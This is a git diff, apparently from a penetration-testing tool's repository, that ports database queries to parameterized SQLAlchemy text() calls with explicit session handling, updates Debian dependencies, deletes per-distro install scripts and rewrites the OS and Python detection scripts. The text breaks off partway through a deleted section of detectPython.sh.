__init__(self, dbAdapter: Database, log): # them or when an existing project is opened. # to speed up the queries we replace the columns we don't need by zeros (the reason we need all the columns is # we are using the same model to display process information everywhere) + def getProcesses(self, filters, showProcesses: Union[str, bool] = 'noNmap', sort: str = 'desc', ncol: str = 'id'): # we do not fetch nmap processes because these are not displayed in the host tool tabs / tools + session = self.dbAdapter.session() if showProcesses == 'noNmap': - query = ('SELECT "0", "0", "0", process.name, "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0" ' - 'FROM process AS process WHERE process.closed = "False" AND process.name != "nmap" ' - 'GROUP BY process.name') - result = self.dbAdapter.metadata.bind.execute(query).fetchall() + query = text('SELECT "0", "0", "0", process.name, "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0" ' + 'FROM process AS process WHERE process.closed = "False" AND process.name != "nmap" ' + 'GROUP BY process.name') + result = session.execute(query).fetchall() elif not showProcesses: - query = ('SELECT process.id, process.hostIp, process.tabTitle, process.outputfile, output.output ' - 'FROM process AS process INNER JOIN process_output AS output ON process.id = output.processId ' - 'WHERE process.display = ? AND process.closed = "False" order by process.id desc') - result = self.dbAdapter.metadata.bind.execute(query, str(showProcesses)).fetchall() + query = text('SELECT process.id, process.hostIp, process.tabTitle, process.outputfile, output.output ' + 'FROM process AS process INNER JOIN process_output AS output ON process.id = output.processId ' + 'WHERE process.display = :display AND process.closed = "False" order by process.id desc') + result = session.execute(query, {'display': str(showProcesses)}).fetchall() else: - query = ('SELECT * FROM process AS process WHERE process.display=? order by {0} {1}'.format(ncol, sort)) - result = self.dbAdapter.metadata.bind.execute(query, str(showProcesses)).fetchall() - + query = text('SELECT * FROM process AS process WHERE process.display=:display order by {0} {1}'.format(ncol, sort)) + result = session.execute(query, {'display': str(showProcesses)}).fetchall() + session.close() return result def storeProcess(self, proc): + session = self.dbAdapter.session() p_output = process_output() - #p = process(str(proc.pid()), str(proc.name), str(proc.tabTitle), - # str(proc.hostIp), str(proc.port), str(proc.protocol), - # unicode(proc.command), proc.startTime, "", str(proc.outputfile), - # 'Waiting', [p_output], 100, 0) - - p = process(str("0"), str(proc.name), str(proc.tabTitle), + #p = process(str(proc.processId()), str(proc.name), str(proc.tabTitle), + p = process(str(proc.processId()), str(proc.name), str(proc.tabTitle), str(proc.hostIp), str(proc.port), str(proc.protocol), unicode(proc.command), proc.startTime, "", str(proc.outputfile), 'Waiting', [p_output], 100, 0) + self.log.info(f"Adding process: {p}") - self.dbAdapter.session().add(p) - self.dbAdapter.commit() + session.add(p) + session.commit() proc.id = p.id - return p.id + session.close() + return proc.id def storeProcessOutput(self, process_id: str, output: str): session = self.dbAdapter.session() proc = session.query(process).filter_by(id=process_id).first() if not proc: + session.close() return False proc_output = session.query(process_output).filter_by(id=process_id).first() @@ -85,12 +90,14 @@ def storeProcessOutput(self, process_id: str, output: str): proc.endTime = getTimestamp(True) if proc.status == "Killed" or proc.status == "Cancelled" or proc.status == "Crashed": - self.dbAdapter.commit() + #session.commit() # Needed? + session.close() return True else: proc.status = 'Finished' session.add(proc) - self.dbAdapter.commit() + session.commit() + session.close() def getStatusByProcessId(self, process_id: str): return self.getFieldByProcessId("status", process_id) @@ -107,20 +114,25 @@ def isCancelledProcess(self, process_id: str) -> bool: return True if status == "Cancelled" else False def getFieldByProcessId(self, field_name: str, process_id: str): - query = f"SELECT process.{field_name} FROM process AS process WHERE process.id=?" - p = self.dbAdapter.metadata.bind.execute(query, str(process_id)).fetchall() - return p[0][0] if p else -1 + session = self.dbAdapter.session() + query = text("SELECT process.{0} FROM process AS process WHERE process.id=:process_id".format(field_name)) + p = session.execute(query, {'process_id': str(process_id)}).fetchall() + result = p[0][0] if p else -1 + session.close() + return result def getHostsByToolName(self, toolName: str, closed: str = "False"): + session = self.dbAdapter.session() if closed == 'FetchAll': - query = ('SELECT "0", "0", "0", "0", "0", process.hostIp, process.port, process.protocol, "0", "0", ' - 'process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=?') + query = text('SELECT "0", "0", "0", "0", "0", process.hostIp, process.port, process.protocol, "0", "0", ' + 'process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=:toolName') else: - query = ('SELECT process.id, "0", "0", "0", "0", "0", "0", process.hostIp, process.port, ' - 'process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process ' - 'WHERE process.name=? and process.closed="False"') - - return self.dbAdapter.metadata.bind.execute(query, str(toolName)).fetchall() + query = text('SELECT process.id, "0", "0", "0", "0", "0", "0", process.hostIp, process.port, ' + 'process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process ' + 'WHERE process.name=:toolName and process.closed="False"') + result = session.execute(query, {'toolName': str(toolName)}).fetchall() + session.close() + return result def storeProcessCrashStatus(self, processId: str): session = self.dbAdapter.session() @@ -129,7 +141,8 @@ def storeProcessCrashStatus(self, processId: str): proc.status = 'Crashed' proc.endTime = getTimestamp(True) session.add(proc) - self.dbAdapter.commit() + session.commit() + session.close() def storeProcessCancelStatus(self, processId: str): session = self.dbAdapter.session() @@ -138,7 +151,8 @@ def storeProcessCancelStatus(self, processId: str): proc.status = 'Cancelled' proc.endTime = getTimestamp(True) session.add(proc) - self.dbAdapter.commit() + session.commit() + session.close() def storeProcessKillStatus(self, processId: str): session = self.dbAdapter.session() @@ -147,7 +161,8 @@ def storeProcessKillStatus(self, processId: str): proc.status = 'Killed' proc.endTime = getTimestamp(True) session.add(proc) - self.dbAdapter.commit() + session.commit() + session.close() def storeProcessRunningStatus(self, processId: str, pid): session = self.dbAdapter.session() @@ -156,7 +171,8 @@ def storeProcessRunningStatus(self, processId: str, pid): proc.status = 'Running' proc.pid = str(pid) session.add(proc) - self.dbAdapter.commit() + session.commit() + session.close() def storeProcessRunningElapsedTime(self, processId: str, elapsed): session = self.dbAdapter.session() @@ -164,7 +180,7 @@ def storeProcessRunningElapsedTime(self, processId: str, elapsed): if proc: proc.elapsed = elapsed session.add(proc) - self.dbAdapter.commit() + session.commit() def storeCloseStatus(self, processId): session = self.dbAdapter.session() @@ -172,22 +188,27 @@ def storeCloseStatus(self, processId): if proc: proc.closed = 'True' session.add(proc) - self.dbAdapter.commit() + session.commit() + session.close() def storeScreenshot(self, ip: str, port: str, filename: str): + session = self.dbAdapter.session() p = process(0, "screenshooter", "screenshot (" + str(port) + "/tcp)", str(ip), str(port), "tcp", "", getTimestamp(True), getTimestamp(True), str(filename), "Finished", [process_output()], 2, 0) - session = self.dbAdapter.session() - session.add(p) - session.commit() - return p.id + if p: + session.add(p) + session.commit() + pD = p.id + session.close() + return pD def toggleProcessDisplayStatus(self, resetAll=False): session = self.dbAdapter.session() proc = session.query(process).filter_by(display='True').all() for p in proc: session.add(self.toggleProcessStatusField(p, resetAll)) - self.dbAdapter.commit() + session.commit() + session.close() @staticmethod def toggleProcessStatusField(p, reset_all): diff --git a/db/repositories/ScriptRepository.py b/db/repositories/ScriptRepository.py index 540a48ed..89262c71 100644 --- a/db/repositories/ScriptRepository.py +++ b/db/repositories/ScriptRepository.py @@ -15,20 +15,26 @@ Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ -from db.SqliteDbAdapter import Database +from sqlalchemy import text +from db.SqliteDbAdapter import Database class ScriptRepository: def __init__(self, dbAdapter: Database): self.dbAdapter = dbAdapter def getScriptsByHostIP(self, hostIP): - query = ("SELECT host.id, host.scriptId, port.portId, port.protocol FROM l1ScriptObj AS host " - "INNER JOIN hostObj AS hosts ON hosts.id = host.hostId " - "LEFT OUTER JOIN portObj AS port ON port.id = host.portId WHERE hosts.ip=?") - - return self.dbAdapter.metadata.bind.execute(query, str(hostIP)).fetchall() + session = self.dbAdapter.session() + query = text("SELECT host.id, host.scriptId, port.portId, port.protocol FROM l1ScriptObj AS host " + "INNER JOIN hostObj AS hosts ON hosts.id = host.hostId " + "LEFT OUTER JOIN portObj AS port ON port.id = host.portId WHERE hosts.ip=:hostIP") + result = session.execute(query, {'hostIP': str(hostIP)}).fetchall() + session.close() + return result def getScriptOutputById(self, scriptDBId): - query = "SELECT script.output FROM l1ScriptObj as script WHERE script.id = ?" - return self.dbAdapter.metadata.bind.execute(query, str(scriptDBId)).fetchall() + session = self.dbAdapter.session() + query = text("SELECT script.output FROM l1ScriptObj as script WHERE script.id = :scriptDBId") + result = session.execute(query, {'scriptDBId': str(scriptDBId)}).fetchall() + session.close() + return result diff --git a/db/repositories/ServiceRepository.py b/db/repositories/ServiceRepository.py index 108d2044..1492929c 100644 --- a/db/repositories/ServiceRepository.py +++ b/db/repositories/ServiceRepository.py @@ -16,26 +16,34 @@ Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from app.auxiliary import Filters +from sqlalchemy import text from db.SqliteDbAdapter import Database from db.filters import applyFilters class ServiceRepository: def __init__(self, db_adapter: Database): - self.db_adapter = db_adapter + self.dbAdapter = db_adapter def getServiceNames(self, filters: Filters): + session = self.dbAdapter.session() query = ("SELECT DISTINCT service.name FROM serviceObj as service " "INNER JOIN portObj as ports " "INNER JOIN hostObj AS hosts " "ON hosts.id = ports.hostId AND service.id=ports.serviceId WHERE 1=1") query += applyFilters(filters) query += ' ORDER BY service.name ASC' - return self.db_adapter.metadata.bind.execute(query).fetchall() + query = text(query) + result = session.execute(query).fetchall() + session.close() + return result def getServiceNamesByHostIPAndPort(self, host_ip, port): - query = ("SELECT services.name FROM serviceObj AS services " - "INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " - "INNER JOIN portObj AS ports ON services.id=ports.serviceId " - "WHERE hosts.ip=? and ports.portId = ?") - return self.db_adapter.metadata.bind.execute(query, str(host_ip), str(port)).first() + session = self.dbAdapter.session() + query = text("SELECT services.name FROM serviceObj AS services " + "INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " + "INNER JOIN portObj AS ports ON services.id=ports.serviceId " + "WHERE hosts.ip=:host_ip and ports.portId = :port") + result = session.execute(query, {'host_ip': str(host_ip), 'port': str(port)}).first() + session.close() + return result diff --git a/debian/control b/debian/control index 9f1c0871..be346c66 100644 --- a/debian/control +++ b/debian/control @@ -27,7 +27,7 @@ Depends: ${misc:Depends}, rsh-client, x11-apps, cutycapt, - leafpad, + featherpad, xvfb, imagemagick, eog, @@ -35,12 +35,12 @@ Depends: ${misc:Depends}, sqlmap, wapiti, libqt5core5a, - python-pip, + python3-pip, ruby, perl, urlscan, git, xsltproc, - python-impacket, + python3-impacket, whatweb, medusa diff --git a/deps/Kali-2018.sh b/deps/Kali-2018.sh deleted file mode 100755 index 6dbba96f..00000000 --- a/deps/Kali-2018.sh +++ /dev/null @@ -1,11 +0,0 @@ -#!/bin/bash - -chmod a+x ./deps/*.sh - -./deps/installDeps.sh -./deps/installPython36.sh - -source ./deps/detectPython.sh - -echo "Installing Python Libraries..." -./deps/installPythonLibs.sh diff --git a/deps/Kali-2018WSL.sh b/deps/Kali-2018WSL.sh deleted file mode 100755 index 9b440219..00000000 --- a/deps/Kali-2018WSL.sh +++ /dev/null @@ -1,14 +0,0 @@ -#!/bin/bash - -chmod a+x ./deps/*.sh - -./deps/installDeps.sh -./deps/installPython36.sh - -source ./deps/detectPython.sh - -echo "Installing Python Libraries..." -./deps/installPythonLibs.sh - -echo "WSL Setup..." -./deps/setupWsl.sh diff --git a/deps/Kali-2019.sh b/deps/Kali-2019.sh deleted file mode 100755 index 32ac1534..00000000 --- a/deps/Kali-2019.sh +++ /dev/null @@ -1,14 +0,0 @@ -#!/bin/bash - -chmod a+x ./deps/*.sh - -./deps/installDeps.sh -./deps/installPython36.sh - -source ./deps/detectPython.sh - -echo "Installing Python Libraries..." -./deps/installPythonLibs.sh - -echo "renameat2() work around for libQt5Core.so.5 and cutycapt" -strip --remove-section=.note.ABI-tag /usr/lib/x86_64-linux-gnu/libQt5Core.so.5 diff --git a/deps/Kali-2019WSL.sh b/deps/Kali-2019WSL.sh deleted file mode 100755 index 9d7d51a0..00000000 --- a/deps/Kali-2019WSL.sh +++ /dev/null @@ -1,17 +0,0 @@ -#!/bin/bash - -chmod a+x ./deps/*.sh - -./deps/installDeps.sh -./deps/installPython36.sh - -source ./deps/detectPython.sh - -echo "Installing Python Libraries..." -./deps/installPythonLibs.sh - -echo "WSL Setup..." -./deps/setupWsl.sh - -echo "renameat2() work around for libQt5Core.so.5 and cutycapt" -strip --remove-section=.note.ABI-tag /usr/lib/x86_64-linux-gnu/libQt5Core.so.5 diff --git a/deps/Parrot-4.5.sh b/deps/Parrot-4.5.sh deleted file mode 100755 index 6dbba96f..00000000 --- a/deps/Parrot-4.5.sh +++ /dev/null @@ -1,11 +0,0 @@ -#!/bin/bash - -chmod a+x ./deps/*.sh - -./deps/installDeps.sh -./deps/installPython36.sh - -source ./deps/detectPython.sh - -echo "Installing Python Libraries..." -./deps/installPythonLibs.sh diff --git a/deps/Parrot-4.5WSL.sh b/deps/Parrot-4.5WSL.sh deleted file mode 100755 index 9b440219..00000000 --- a/deps/Parrot-4.5WSL.sh +++ /dev/null @@ -1,14 +0,0 @@ -#!/bin/bash - -chmod a+x ./deps/*.sh - -./deps/installDeps.sh -./deps/installPython36.sh - -source ./deps/detectPython.sh - -echo "Installing Python Libraries..." -./deps/installPythonLibs.sh - -echo "WSL Setup..." -./deps/setupWsl.sh diff --git a/deps/Parrot-4.6.sh b/deps/Parrot-4.6.sh deleted file mode 100755 index 6dbba96f..00000000 --- a/deps/Parrot-4.6.sh +++ /dev/null @@ -1,11 +0,0 @@ -#!/bin/bash - -chmod a+x ./deps/*.sh - -./deps/installDeps.sh -./deps/installPython36.sh - -source ./deps/detectPython.sh - -echo "Installing Python Libraries..." -./deps/installPythonLibs.sh diff --git a/deps/Parrot-4.6WSL.sh b/deps/Parrot-4.6WSL.sh deleted file mode 100755 index 9b440219..00000000 --- a/deps/Parrot-4.6WSL.sh +++ /dev/null @@ -1,14 +0,0 @@ -#!/bin/bash - -chmod a+x ./deps/*.sh - -./deps/installDeps.sh -./deps/installPython36.sh - -source ./deps/detectPython.sh - -echo "Installing Python Libraries..." -./deps/installPythonLibs.sh - -echo "WSL Setup..." -./deps/setupWsl.sh diff --git a/deps/Ubuntu-16.sh b/deps/Ubuntu-16.sh deleted file mode 100755 index 6dbba96f..00000000 --- a/deps/Ubuntu-16.sh +++ /dev/null @@ -1,11 +0,0 @@ -#!/bin/bash - -chmod a+x ./deps/*.sh - -./deps/installDeps.sh -./deps/installPython36.sh - -source ./deps/detectPython.sh - -echo "Installing Python Libraries..." -./deps/installPythonLibs.sh diff --git a/deps/Ubuntu-16WSL.sh b/deps/Ubuntu-16WSL.sh deleted file mode 100755 index 9b440219..00000000 --- a/deps/Ubuntu-16WSL.sh +++ /dev/null @@ -1,14 +0,0 @@ -#!/bin/bash - -chmod a+x ./deps/*.sh - -./deps/installDeps.sh -./deps/installPython36.sh - -source ./deps/detectPython.sh - -echo "Installing Python Libraries..." -./deps/installPythonLibs.sh - -echo "WSL Setup..." -./deps/setupWsl.sh diff --git a/deps/Ubuntu-18.sh b/deps/Ubuntu-18.sh deleted file mode 100755 index 6dbba96f..00000000 --- a/deps/Ubuntu-18.sh +++ /dev/null @@ -1,11 +0,0 @@ -#!/bin/bash - -chmod a+x ./deps/*.sh - -./deps/installDeps.sh -./deps/installPython36.sh - -source ./deps/detectPython.sh - -echo "Installing Python Libraries..." -./deps/installPythonLibs.sh diff --git a/deps/Ubuntu-18WSL.sh b/deps/Ubuntu-18WSL.sh deleted file mode 100755 index 9b440219..00000000 --- a/deps/Ubuntu-18WSL.sh +++ /dev/null @@ -1,14 +0,0 @@ -#!/bin/bash - -chmod a+x ./deps/*.sh - -./deps/installDeps.sh -./deps/installPython36.sh - -source ./deps/detectPython.sh - -echo "Installing Python Libraries..." -./deps/installPythonLibs.sh - -echo "WSL Setup..." -./deps/setupWsl.sh diff --git a/deps/Unknown.sh b/deps/Unknown.sh deleted file mode 100755 index 6dbba96f..00000000 --- a/deps/Unknown.sh +++ /dev/null @@ -1,11 +0,0 @@ -#!/bin/bash - -chmod a+x ./deps/*.sh - -./deps/installDeps.sh -./deps/installPython36.sh - -source ./deps/detectPython.sh - -echo "Installing Python Libraries..." -./deps/installPythonLibs.sh diff --git a/deps/UnknownWSL.sh b/deps/UnknownWSL.sh deleted file mode 100755 index 9b440219..00000000 --- a/deps/UnknownWSL.sh +++ /dev/null @@ -1,14 +0,0 @@ -#!/bin/bash - -chmod a+x ./deps/*.sh - -./deps/installDeps.sh -./deps/installPython36.sh - -source ./deps/detectPython.sh - -echo "Installing Python Libraries..." -./deps/installPythonLibs.sh - -echo "WSL Setup..." -./deps/setupWsl.sh diff --git a/deps/buildPython36.sh b/deps/buildPython36.sh deleted file mode 100755 index 5344af93..00000000 --- a/deps/buildPython36.sh +++ /dev/null @@ -1,14 +0,0 @@ -#!/bin/bash -cd /tmp - -# Install deps -echo "Updating Apt database..." -sudo apt-get update -yqq 2>&1 > /dev/null -sudo apt-get install -yqq build-essential libreadline-gplv2-dev libncursesw5-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev libffi-dev python3-dev libssl1.0-dev libjpeg62-turbo-dev libxml2-dev libxslt1-dev python-dev libnetfilter-queue-dev qt4-qmake libqt4-dev libsqlite3-dev zlib1g-dev 2>&1 > /dev/null - -# Setup Python3.6 -wget https://www.python.org/ftp/python/3.6.6/Python-3.6.6.tgz -tar xzf Python-3.6.6.tgz -cd Python-3.6.6/ -./configure --enable-optimizations --enable-ipv6 --with-ensurepip=install -sudo make altinstall diff --git a/deps/detectOs.sh b/deps/detectOs.sh index efc154de..53ee5aff 100755 --- a/deps/detectOs.sh +++ b/deps/detectOs.sh @@ -1,9 +1,8 @@ #!/bin/bash unameOutput=`uname -a` -releaseOutput=`cat /etc/os-release` -releaseName="?" -releaseVersion="?" +releaseVersion=`grep 'VERSION_ID' /etc/os-release | cut -d '"' -f 2` +releaseName=`grep "^NAME=\"" /etc/os-release | cut -d '"' -f 2` wslEnv="" # Detect WSL and enable XForwaridng to Xming @@ -13,49 +12,30 @@ then wslEnv="WSL" fi +echo "Detected ${releaseName} ${releaseVersion} ${wslEnv}" + # Figure Linux Version -if [[ ${releaseOutput} == *"Ubuntu"* ]] +if [[ ${releaseName} == *"Ubuntu"* ]] then - releaseName="Ubuntu" - if [[ ${releaseOutput} == *"16."* ]] - then - releaseVersion="16" - elif [[ ${releaseOutput} == *"18."* ]] + if [[ ${releaseVersion} != *"20.04"* ]] && [[ ${releaseVersion} != *"20.10"* ]] && [[ ${releaseVersion} != *"21."* ]] && [[ ${releaseVersion} != *"22."* ]] && [[ ${releaseVersion} != *"23."* ]] then - releaseVersion="18" + echo "Unsupported Ubuntu version. Please use Ubuntu 20.04 or later." + exit 1 + else + echo "Some tools are not available under Ubuntu. Run under Kali if you're missing something." fi -elif [[ ${releaseOutput} == *"Kali"* ]] +elif [[ ${releaseName} == *"Kali"* ]] then - releaseName="Kali" - if [[ ${releaseOutput} == *"2019"* ]] + if [[ ${releaseVersion} != *"2022"* ]] && [[ ${releaseVersion} != *"2023"* ]] then - releaseVersion="2019" - elif [[ ${releaseOutput} == *"2018"* ]] - then - releaseVersion="2018" - elif [[ ${releaseOutput} == *"2016"* ]] - then - releaseVersion="2016" - fi -elif [[ ${releaseOutput} == *"Parrot"* ]] -then - releaseName="Parrot" - if [[ ${releaseOutput} == *"4.5"* ]] - then - releaseVersion="4.5" - elif [[ ${releaseOutput} == *"4.6"* ]] - then - releaseVersion="4.6" + echo "Unsupported Kali version. Please use Kali 2022 or later." + exit 1 fi else - releaseName="Unknown" - releaseVersion="" + echo "Unsupported distrubution, version or both." + exit 1 fi -echo "Detected ${releaseName} ${releaseVersion} ${wslEnv}" -depInstaller="${releaseName}-${releaseVersion}${wslEnv}.sh" - -export DEPINSTALLER=${depInstaller} export OS_RELEASE=${releaseName} export OS_RELEASE_VERSION=${releaseVersion} export ISWSL=${wslEnv} diff --git a/deps/detectPython.sh b/deps/detectPython.sh index fac4abc1..4b7eeb90 100755 --- a/deps/detectPython.sh +++ b/deps/detectPython.sh @@ -1,361 +1,50 @@ #!/bin/bash -testForPython=`python --version 2>&1` -testForPython2=`python3 --version 2>&1` -testForPython3=`python3.6 --version 2>&1` -testForPython4=`python3.7 --version 2>&1` -testForPython5=`python3.8 --version 2>&1` +# Check if python or python3 is installed +if command -v python &> /dev/null || command -v python3 &> /dev/null +then + # Get the python or python3 version and path + if command -v python &> /dev/null + then + python_version=$(python --version | awk -F '[ ]' '{print $2}' | awk -F '[.]' '{print $1"."$2}') + python_path=$(which python) + else + python_version=$(python3 --version | awk -F '[ ]' '{print $2}' | awk -F '[.]' '{print $1"."$2}') + python_path=$(which python3) + fi + echo "Python version: $python_version" + echo "Python path: $python_path" -if [[ $testForPython == *"3.6"* ]]; then - pythonBin='python' - pythonVersion='3.6' -elif [[ $testForPython == *"3.7"* ]]; then - pythonBin='python' - pythonVersion='3.7' -elif [[ $testForPython == *"3.8"* ]]; then - pythonBin='python' - pythonVersion='3.8' -elif [[ $testForPython2 == *"3.6"* ]]; then - pythonBin='python3' - pythonVersion='3.6' -elif [[ $testForPython2 == *"3.7"* ]]; then - pythonBin='python3' - pythonVersion='3.7' -elif [[ $testForPython2 == *"3.8"* ]]; then - pythonBin='python' - pythonVersion='3.8' -elif [[ $testForPython3 == *"3.6"* ]] && [[ $testForPython3 != *"not found"* ]]; then - pythonBin='python3.6' - pythonVersion='3.6' -elif [[ $testForPython4 == *"3.7"* ]] && [[ $testForPython4 != *"not found"* ]]; then - pythonBin='python3.7' - pythonVersion='3.7' -elif [[ $testForPython5 == *"3.8"* ]] && [[ $testForPython4 != *"not found"* ]]; then - pythonBin='python3.8' - pythonVersion='3.8' + # Check if the python version is 3.8 or later + if (( $(echo "$python_version >= 3.8" |bc -l) )) + then + export PYTHON3BIN=$python_path + echo "PYTHON3BIN is set to $PYTHON3BIN" + else + echo "Your Python version is below 3.8, which may cause compatibility issues with some packages." + fi else - pythonBin='Missing' + echo "Python is not installed." fi -testForPip=`pip --version 2>&1` -testForPip2=`pip3 --version 2>&1` -testForPip3=`pip3.6 --version 2>&1` -testForPip4=`pip3.7 --version 2>&1` -testForPip5=`pip3.8 --version 2>&1` +# Check if pip or pip3 is installed +if command -v pip &> /dev/null || command -v pip3 &> /dev/null +then + # Get the pip or pip3 version and path + if command -v pip &> /dev/null + then + pip_version=$(pip --version) + pip_path=$(which pip) + else + pip_version=$(pip3 --version) + pip_path=$(which pip3) + fi + echo "Pip version: $pip_version" + echo "Pip path: $pip_path" -if [[ $testForPip == *"3.6"* ]]; then - pipBin='pip' - pipVersion=3.6 -elif [[ $testForPip == *"3.7"* ]]; then - pipBin='pip' - pipVersion='3.7' -elif [[ $testForPip == *"3.8"* ]]; then - pipBin='pip' - pipVersion='3.8' -elif [[ $testForPip2 == *"3.6"* ]]; then - pipBin='pip3' - pipVersion='3.6' -elif [[ $testForPip2 == *"3.7"* ]]; then - pipBin='pip3' - pipVersion='3.7' -elif [[ $testForPip2 == *"3.8"* ]]; then - pipBin='pip' - pipVersion='3.8' -elif [[ $testForPip3 == *"3.6"* ]] && [[ $testForPip3 != *"not found"* ]]; then - pipBin='pip3.6' - pipVersion='3.6' -elif [[ $testForPip4 == *"3.7"* ]] && [[ $testForPip4 != *"not found"* ]]; then - pipBin='pip3.7' - pipVersion='3.7' -elif [[ $testForPip5 == *"3.8"* ]] && [[ $testForPip4 != *"not found"* ]]; then - pipBin='pip3.8' - pipVersion='3.8' + export PIP3BIN=$pip_path + echo "PIP3BIN is set to $PIP3BIN" else - pipBin='Missing' + echo "Pip is not installed." fi -if [[ ${pythonVersion} == *"3.7"* ]] && [[ ${pipVersion} != *"3.7"* ]]; then - case ${pipBin} in - 3.6) - echo "Found Python 3.7 but no PIP 3.7. Let's try to use Python 3.6 instead, or locate PIP 3.7." - if [[ $testForPython3 == *"3.6"* ]] && [[ $testForPython3 != *"not found"* ]]; then - pythonBin='python3.6' - pythonVersion='3.6' - elif [[ $testForPython2 == *"3.6"* ]] && [[ $testForPython2 != *"not found"* ]]; then - pythonBin='python3' - pythonVersion='3.6' - elif [[ $testForPython == *"3.6"* ]] && [[ $testForPython != *"not found"* ]]; then - pythonBin='python' - pythonVersion='3.6' - elif [[ $testForPip4 == *"3.7"* ]] && [[ $testForPip4 != *"not found"* ]]; then - pipBin='pip3.7' - pipVersion='3.7' - elif [[ $testForPip2 == *"3.7"* ]] && [[ $testForPip2 != *"not found"* ]]; then - pipBin='pip3' - pipVersion='3.7' - elif [[ $testForPip == *"3.7"* ]] && [[ $testForPip != *"not found"* ]]; then - pipBin='pip' - pipVersion='3.7' - else - pipBin='Missing' - echo "Python 3.7 is installed, however PIP 3.7 is not installed and neither is Python 3.6. Please install PIP 3.7." - fi - ;; - 3) - if [[ ${pipBin} != *"3.6"* ]] && [[ ${pipBin} != *"3.7"* ]]; then - if [[ ${pipVersion} == *"3.6"* ]]; then - echo "Found Python 3.7 but PIP 3.6. Let's try to use Python 3.6 instead, or switch to PIP 3.7." - if [[ $testForPython3 == *"3.6"* ]] && [[ $testForPython3 != *"not found"* ]]; then - pythonBin='python3.6' - pythonVersion='3.6' - elif [[ $testForPython2 == *"3.6"* ]] && [[ $testForPython2 != *"not found"* ]]; then - pythonBin='python3' - pythonVersion='3.6' - elif [[ $testForPython == *"3.6"* ]] && [[ $testForPython != *"not found"* ]]; then - pythonBin='python' - pythonVersion='3.6' - else - echo "Python 3.6 is not installed yet PIP 3.6 is. Let's look for PIP 3.7." - if [[ $testForPip4 == *"3.7"* ]] && [[ $testForPip4 != *"not found"* ]]; then - pipBin='pip3.7' - pipVersion='3.7' - elif [[ $testForPip2 == *"3.7"* ]] && [[ $testForPip2 != *"not found"* ]]; then - pipBin='pip3' - pipVersion='3.7' - elif [[ $testForPip == *"3.7"* ]] && [[ $testForPip != *"not found"* ]]; then - pipBin='pip' - pipVersion='3.7' - else - echo "PIP 3.7 not found either. Please install PIP 3.7." - pipBin='Missing' - fi - fi - else - pipBin='Missing' - echo "Python 3.7 is installed, but neither PIP 3.7 nor PIP 3.6 were found. Please install PIP 3.7." - fi - fi - ;; - *) - if [[ ${pipVersion} == *"3.6"* ]]; then - echo "Found Python 3.7 but only PIP 3.6 was found. Let's try to use Python 3.6 instead, or switch to PIP 3.7." - if [[ $testForPython3 == *"3.6"* ]] && [[ $testForPython3 != *"not found"* ]]; then - pythonBin='python3.6' - pythonVersion='3.6' - elif [[ $testForPython2 == *"3.6"* ]] && [[ $testForPython2 != *"not found"* ]]; then - pythonBin='python3' - pythonVersion='3.6' - elif [[ $testForPython == *"3.6"* ]] && [[ $testForPython != *"not found"* ]]; then - pythonBin='python' - pythonVersion='3.6' - else - echo "Python 3.6 is not installed yet PIP 3.6 is. Let's look for PIP 3.7." - if [[ $testForPip4 == *"3.7"* ]] && [[ $testForPip4 != *"not found"* ]]; then - pipBin='pip3.7' - pipVersion='3.7' - elif [[ $testForPip2 == *"3.7"* ]] && [[ $testForPip2 != *"not found"* ]]; then - pipBin='pip3' - pipVersion='3.7' - elif [[ $testForPip == *"3.7"* ]] && [[ $testForPip != *"not found"* ]]; then - pipBin='pip' - pipVersion='3.7' - else - echo "PIP 3.7 not found either. Please install PIP 3.7." - pipBin='Missing' - fi - fi - else - pipBin='Missing' - echo "Python 3.7 is installed, but neither PIP 3.7 nor PIP 3.6 were found. Please install PIP 3.7." - fi - ;; - esac -elif [[ ${pythonVersion} == *"3.6"* ]] && [[ ${pipVersion} != *"3.6"* ]]; then - case ${pipBin} in - 3.7) - echo "Found Python 3.6 but not PIP 3.6. Let's look for PIP 3.6 or switch to Python 3.7." - if [[ $testForPython4 == *"3.7"* ]] && [[ $testForPython4 != *"not found"* ]]; then - pythonBin='python3.7' - pythonVersion='3.7' - elif [[ $testForPython2 == *"3.7"* ]] && [[ $testForPython2 != *"not found"* ]]; then - pythonBin='python3' - pythonVersion='3.7' - elif [[ $testForPython == *"3.7"* ]] && [[ $testForPython != *"not found"* ]]; then - pythonBin='python3' - pythonVersion='3.7' - elif [[ $testForPip3 == *"3.6"* ]] && [[ $testForPip3 != *"not found"* ]]; then - pipBin='pip3.6' - pipVersion='3.6' - elif [[ $testForPip2 == *"3.6"* ]] && [[ $testForPip2 != *"not found"* ]]; then - pipBin='pip3' - pipVersion='3.6' - elif [[ $testForPip == *"3.6"* ]] && [[ $testForPip != *"not found"* ]]; then - pipBin='pip' - pipVersion='3.6' - else - pipBin='Missing' - echo "Python 3.6 was found, but PIP 3.6 and Python 3.7 were not found. Please install PIP 3.6." - fi - ;; - 3) - if [[ ${pipBin} != *"3.6"* ]] || [[ ${pipBin} != *"3.7"* ]]; then - if [[ ${pipVersion} == *"3.7"* ]]; then - echo "Found Python 3.6 and PIP 3.7. Let's try to switch to Python 3.7 or PIP 3.6." - if [[ $testForPython4 == *"3.7"* ]] && [[ $testForPython4 != *"not found"* ]]; then - pythonBin='python3.7' - pythonVersion='3.7' - elif [[ $testForPython2 == *"3.7"* ]] && [[ $testForPython2 != *"not found"* ]]; then - pythonBin='python3' - pythonVersion='3.7' - elif [[ $testForPython == *"3.7"* ]] && [[ $testForPython != *"not found"* ]]; then - pythonBin='python3' - pythonVersion='3.7' - elif [[ $testForPip3 == *"3.6"* ]] && [[ $testForPip3 != *"not found"* ]]; then - pipBin='pip3.6' - pipVersion='3.6' - elif [[ $testForPip2 == *"3.6"* ]] && [[ $testForPip2 != *"not found"* ]]; then - pipBin='pip3' - pipVersion='3.6' - elif [[ $testForPip == *"3.6"* ]] && [[ $testForPip != *"not found"* ]]; then - pipBin='pip' - pipVersion='3.6' - else - pipBin='Missing' - fi - else - 